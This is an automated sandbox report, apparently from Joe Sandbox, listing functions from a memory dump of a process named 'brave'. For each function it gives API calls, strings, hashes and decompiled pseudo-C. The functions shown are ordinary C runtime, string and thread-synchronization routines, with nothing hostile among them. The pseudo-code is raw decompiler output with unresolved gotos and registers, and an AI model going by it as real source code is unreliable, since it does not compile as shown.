Instruction ID: e0adaba1573d05dc2cab0287a7870115ba7d78c27cac616fd5e14540405aa724
Opcode Fuzzy Hash: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
Instruction Fuzzy Hash: 14016125D0D62786EE752F616D58179E2A0AF44B6AFDC1634CA1A8E3D0EF2D2484C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E98980 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF755E989A0
fprintf.MSVCRT ref: 00007FF755E989BF
GetCurrentThreadId.KERNEL32 ref: 00007FF755E989D5
fprintf.MSVCRT ref: 00007FF755E989FC

Strings

C%p %d V=%0X w=%ld %s, xrefs: 00007FF755E989E3
C%p %d %s, xrefs: 00007FF755E989AE

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CurrentThreadfprintf
String ID: C%p %d %s$C%p %d V=%0X w=%ld %s
API String ID: 1384477639-884133013
Opcode ID: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction ID: 8e24fdaf8b42092600004ef9208b145ecfa17e050a937b5ceb7d424ce651d9d3
Opcode Fuzzy Hash: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction Fuzzy Hash: 0D018476E0875685EA11AB25FC414BAB7A4BB85BD9F8C8131DE4D8B354EF3CE481C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8F160 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF755E8F1A0
calloc.MSVCRT ref: 00007FF755E8F1AF
EnterCriticalSection.KERNEL32 ref: 00007FF755E8F1CA
LeaveCriticalSection.KERNEL32 ref: 00007FF755E8F1E9

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF755E8F199
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF755E8F192

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave_assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 4191840866-4180103562
Opcode ID: f75f473cc27cf5f1c1fc51378073b3bce385c5a3abcb57c2d3be634da1e2c61d
Instruction ID: 0b6da84d1b2fd3a9dfcf09a96ee4e33a17871f4a0026ebed0a38cece1454b0ba
Opcode Fuzzy Hash: f75f473cc27cf5f1c1fc51378073b3bce385c5a3abcb57c2d3be634da1e2c61d
Instruction Fuzzy Hash: 96011729E1875651FF11AB61FD451B6A2E4AF58B96FCC4034D91C4B391EE2CE585C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8CDF0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8CDF0(void* __rax, void* __rcx, intOrPtr* __r8) {
				intOrPtr _t13;
				signed char _t14;
				signed long long _t41;

				if (__r8 == 0) goto 0x55e8ce93;
				r13d = 1;
				goto 0x55e8ce89;
				if ( *((intOrPtr*)(__r8 + 0x10)) != 0) goto 0x55e8ce81;
				_t13 =  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8))));
				if (r9d != 0) goto 0x55e8ce45;
				_t14 = __rax - 0x1c;
				if (_t14 - 0x34 > 0) goto 0x55e8ce45;
				if ((_t41 << _t14 & 0x0000001f) != 0) goto 0x55e8ce81;
				 *((intOrPtr*)(__r8 + 0x10)) = 1;
				 *((long long*)(__rcx + 0x120)) =  *((intOrPtr*)(__r8 + 0x18));
				if (_t13 == 0x29) goto 0x55e8cea0;
				if (_t13 == 0x2a) goto 0x55e8cec4;
				if (_t13 == 2) goto 0x55e8cee8;
				E00007FF77FF755E8C080();
				if ( *__r8 == 0) goto 0x55e8ce93;
				if ( *((intOrPtr*)(__rcx + 0x130)) == 0) goto 0x55e8ce20;
				return _t13;
			}

0x7ff755e8ce08
0x7ff755e8ce18
0x7ff755e8ce1e
0x7ff755e8ce25
0x7ff755e8ce2b
0x7ff755e8ce30
0x7ff755e8ce32
0x7ff755e8ce38
0x7ff755e8ce43
0x7ff755e8ce49
0x7ff755e8ce57
0x7ff755e8ce61
0x7ff755e8ce66
0x7ff755e8ce6b
0x7ff755e8ce75
0x7ff755e8ce87
0x7ff755e8ce91
0x7ff755e8ce9f

Strings

{, xrefs: 00007FF755E8CFF2
:, xrefs: 00007FF755E8CF06
default arg#, xrefs: 00007FF755E8CFEB
}, xrefs: 00007FF755E8D0F0
}::, xrefs: 00007FF755E8D0E9

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: :$default arg#${$}$}::
API String ID: 0-1396675520
Opcode ID: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction ID: 8e1be5b2ee19032c38c40ac36ebf6ec03ae8755b5b15b2cc7c7a98115d92159e
Opcode Fuzzy Hash: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction Fuzzy Hash: 9A91B176A086D686F769AA25A5003FAA391EB05B9CF8C4035CB9E0F785DF7DE481D310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8F6C0 Relevance: 9.0, APIs: 6, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E8F6C0(void* __rcx) {
				long _t1;

				_t1 = GetLastError();
				if (_t1 != 0) goto 0x55e8f6e0;
				return _t1;
			}

0x7ff755e8f6ca
0x7ff755e8f6d2
0x7ff755e8f6db

APIs

GetLastError.KERNEL32 ref: 00007FF755E8F6CA
FormatMessageA.KERNEL32 ref: 00007FF755E8F70B
IsDebuggerPresent.KERNEL32 ref: 00007FF755E8F715

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID:
API String ID: 2392558662-0
Opcode ID: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction ID: 228ba9eb33efb9d7bc9cade9c9ee541f7280cfa483a7bbc901c0813c4aa9e865
Opcode Fuzzy Hash: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction Fuzzy Hash: 0F018621E1CA4281FA60AB15FC5437AA260BF84FC9F9C0134DA4D8F664EF3DD485C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E97A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF755E97A70
GetCurrentThreadId.KERNEL32 ref: 00007FF755E97A9D
printf.MSVCRT ref: 00007FF755E97AD5

Strings

RWL%p %d %s, xrefs: 00007FF755E97A7C
RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s, xrefs: 00007FF755E97AAB

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CurrentThread$printf
String ID: RWL%p %d %s$RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s
API String ID: 2165381015-1971217749
Opcode ID: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction ID: 21817e94e46a3ceea592845a95ee16bb01abad02340a23295fdaff3c4a145b36
Opcode Fuzzy Hash: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction Fuzzy Hash: 05018476B0865985EB11AB15FC4476AB6A0AB84F98F8C4030DE0D8B754EF3CD585C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E98E10 Relevance: 7.7, APIs: 5, Instructions: 186
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF77FF755E98E10(void* __edx, long long __rax, long long __rcx, void* __r9) {
				long long _v48;
				char _v56;
				void* _t6;
				void* _t9;
				void* _t17;
				long long _t25;

				_t25 = __rax;
				r12d = r8d;
				if (__edx == 1) goto 0x55e98e90;
				_v56 = __rcx;
				E00007FF77FF755E95420(__rax);
				_v48 = _t25;
				if (_t25 == 0) goto 0x55e98f20;
				r8d = 0;
				r9d = r12d;
				_t6 = E00007FF77FF755E97560(2, _t25,  &_v56, __r9);
				_t17 = _t6 - 0x80;
				if (_t17 == 0) goto 0x55e99080;
				if (_t17 > 0) goto 0x55e98ed8;
				if (_t6 == 0) goto 0x55e98ec0;
				if (_t6 != 1) goto 0x55e99040;
				ResetEvent(??);
				if (__edx != 2) goto 0x55e990c9;
				E00007FF77FF755E958E0(2, _t25,  &_v56);
				goto 0x55e98e45;
				_t9 = E00007FF77FF755E974C0(r8d, _t25, _v48,  &_v56);
				if (_t9 == 0x80) goto 0x55e9905d;
				if (_t9 == 0x102) goto 0x55e99058;
				r12d = 0x16;
				if (_t9 != 0) goto 0x55e98ec3;
				r12d = 0;
				return r12d;
			}

0x7ff755e98e10
0x7ff755e98e20
0x7ff755e98e26
0x7ff755e98e28
0x7ff755e98e32
0x7ff755e98e37
0x7ff755e98e3f
0x7ff755e98e45
0x7ff755e98e48
0x7ff755e98e53
0x7ff755e98e58
0x7ff755e98e5d
0x7ff755e98e63
0x7ff755e98e67
0x7ff755e98e6c
0x7ff755e98e77
0x7ff755e98e80
0x7ff755e98e86
0x7ff755e98e8b
0x7ff755e98e93
0x7ff755e98e9d
0x7ff755e98ea8
0x7ff755e98eae
0x7ff755e98eb6
0x7ff755e98ec0
0x7ff755e98ed1

APIs

Part of subcall function 00007FF755E97560: WaitForMultipleObjects.KERNEL32 ref: 00007FF755E975D4

ResetEvent.KERNEL32 ref: 00007FF755E98E77
WaitForSingleObject.KERNEL32 ref: 00007FF755E98EF0

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Wait$EventMultipleObjectObjectsResetSingle
String ID:
API String ID: 256776027-0
Opcode ID: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction ID: 209aca9ff001582dced337c643498ecd3f734e95c25c167391279fe2b66ee14e
Opcode Fuzzy Hash: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction Fuzzy Hash: 51515D29E0C13241FAB176269B5137AC0B26F44F8CFDC1436DE1E8E2E1ED6CA9859221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EAEC70 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF755EAEC82
memcpy.MSVCRT ref: 00007FF755EAECD4
memcpy.MSVCRT ref: 00007FF755EAED90

Strings

basic_string::append, xrefs: 00007FF755EAED2A, 00007FF755EAEDE8

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction ID: 0ab0a9a3507d781638dee631b87553c7b9aa3a383231bfff57242d2f756f061b
Opcode Fuzzy Hash: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction Fuzzy Hash: 215180AAA19AA580EA10EB35D5584BDA361FB45FC8BDC8632DE1D4B3D1EF3CD441C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EABAC0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 158stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF755EABAD2
memcpy.MSVCRT ref: 00007FF755EABB22
memcpy.MSVCRT ref: 00007FF755EABBDD

Strings

basic_string::append, xrefs: 00007FF755EABB7D, 00007FF755EABC3B

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction ID: 49f0eaf95cfd9ad490b9f6a092f022894e739531ddecb502c7c08ef3c35711a3
Opcode Fuzzy Hash: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction Fuzzy Hash: AA51C67B7096A980EA20EB25D95C579A358BB45FD8FCC4532ED6D4B3D1DE2CD441C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EB0750 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EB0750(long long* __rcx, void* __rdx) {
				long long _t14;
				signed long long _t16;
				signed long long _t18;
				signed long long _t19;

				_t19 =  *((intOrPtr*)(__rdx + 8));
				_t16 = _t19 + _t19;
				_t14 = __rcx + 0x10;
				_t18 = _t16 >> 1;
				 *__rcx = _t14;
				if (_t16 - 0xe > 0) goto 0x55eb07c0;
				if (_t18 == 1) goto 0x55eb07b0;
				if (_t18 != 0) goto 0x55eb07a0;
				 *(__rcx + 8) = _t18;
				 *((short*)(_t14 + _t19 * 2)) = 0;
				return 0;
			}

0x7ff755eb075a
0x7ff755eb075e
0x7ff755eb0769
0x7ff755eb076d
0x7ff755eb0770
0x7ff755eb077a
0x7ff755eb0780
0x7ff755eb0785
0x7ff755eb0789
0x7ff755eb078d
0x7ff755eb079b

Strings

string::string, xrefs: 00007FF755EB08E8
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EB0848, 00007FF755EB089F, 00007FF755EB08EF
basic_string::basic_string, xrefs: 00007FF755EB0841, 00007FF755EB0898
basic_string::_M_create, xrefs: 00007FF755EB07F7

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction ID: 21240e6cf14f312a5aadf6cfd109308c626b0257f6624fa4ecd418e25234a450
Opcode Fuzzy Hash: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction Fuzzy Hash: B841F777B05B56D4EA11BF29D9444ACA360FB14FE8BD85632CA1D0B390EE3CE996C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EB0290 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EB0290(long long* __rcx, void* __rdx) {
				long long _t14;
				signed long long _t16;
				signed long long _t18;
				signed long long _t19;

				_t19 =  *((intOrPtr*)(__rdx + 8));
				_t16 = _t19 + _t19;
				_t14 = __rcx + 0x10;
				_t18 = _t16 >> 1;
				 *__rcx = _t14;
				if (_t16 - 0xe > 0) goto 0x55eb0300;
				if (_t18 == 1) goto 0x55eb02f0;
				if (_t18 != 0) goto 0x55eb02e0;
				 *(__rcx + 8) = _t18;
				 *((short*)(_t14 + _t19 * 2)) = 0;
				return 0;
			}

0x7ff755eb029a
0x7ff755eb029e
0x7ff755eb02a9
0x7ff755eb02ad
0x7ff755eb02b0
0x7ff755eb02ba
0x7ff755eb02c0
0x7ff755eb02c5
0x7ff755eb02c9
0x7ff755eb02cd
0x7ff755eb02db

Strings

string::string, xrefs: 00007FF755EB0428
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EB0388, 00007FF755EB03DF, 00007FF755EB042F
basic_string::basic_string, xrefs: 00007FF755EB0381, 00007FF755EB03D8
basic_string::_M_create, xrefs: 00007FF755EB0337

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction ID: 807b22e6e13d0403c8c6e816e65c27110854350ffbb6e8c31c9a64403ff45471
Opcode Fuzzy Hash: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction Fuzzy Hash: 6541E476B05B56D4EA11AF29D9404ACA360FB14FE8BD85732CA1D0B790EE3CE996C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E90640 Relevance: 7.6, APIs: 5, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E90640(void* __rax, intOrPtr* __rcx, void* __rdx) {
				void* _t4;
				void* _t20;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t24 = __rdx;
				_t20 = __rax;
				_t27 = __rcx;
				if (__rdx == 0) goto 0x55e9066f;
				E00007FF77FF755E97400(_t4, __rdx);
				E00007FF77FF755E973B0(_t20, _t24);
				if (_t20 - _t20 > 0) goto 0x55e906b0;
				_t26 =  *_t27;
				_t1 = _t26 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0x55e906d1;
				if (_t26 == 0) goto 0x55e906e4;
				r13d = 1;
				 *_t26 = r13d;
				if ( *_t26 != 0) goto 0x55e90708;
				if ( *((intOrPtr*)(_t26 + 4)) != 0) goto 0x55e906f8;
				return 0;
			}

0x7ff755e90640
0x7ff755e90640
0x7ff755e90650
0x7ff755e90659
0x7ff755e9065b
